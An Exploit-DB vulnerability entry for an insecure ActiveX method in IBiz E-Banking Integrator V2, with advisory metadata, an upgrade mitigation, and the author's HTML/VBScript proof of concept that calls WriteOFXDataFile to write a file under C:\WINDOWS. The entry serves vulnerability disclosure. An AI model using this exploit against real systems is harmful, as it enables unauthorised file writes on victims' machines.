IBiz E-Banking Integrator V2 ActiveX Edition Insecure Method

vendor:

IBiz E-Banking Integrator

by:

shinnai

7.5

CVSS

HIGH

Insecure Method

264

CWE

Product Name: IBiz E-Banking Integrator

Affected Version From: V2

Affected Version To: V2

Patch Exists: YES

Related CWE: N/A

CPE: IBiz.E-Banking.Integrator

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2008

IBiz E-Banking Integrator V2 ActiveX Edition Insecure Method

An ActiveX control in IBiz E-Banking Integrator V2 allows remote attackers to write arbitrary files via the WriteOFXDataFile method.

Mitigation:

Upgrade to the latest version of IBiz E-Banking Integrator V2.

Source

Exploit-DB raw data:

--------------------------------------------------------------------
 IBiz E-Banking Integrator V2 ActiveX Edition Insecure Method

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 More info at http://shinnai.altervista.org
--------------------------------------------------------------------
<object classid='clsid:24445430-F789-11CE-86F8-0020AFD8C6DB' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe()
  On Error Resume Next
   test.WriteOFXDataFile "C:\WINDOWS\system_.ini"
   If Err.Number <> 0 Then
    MsgBox "Something went wrong!"
   Else
    MsgBox "Exploit Completed!"
   End If
 End Sub
</script>

# milw0rm.com [2008-04-09]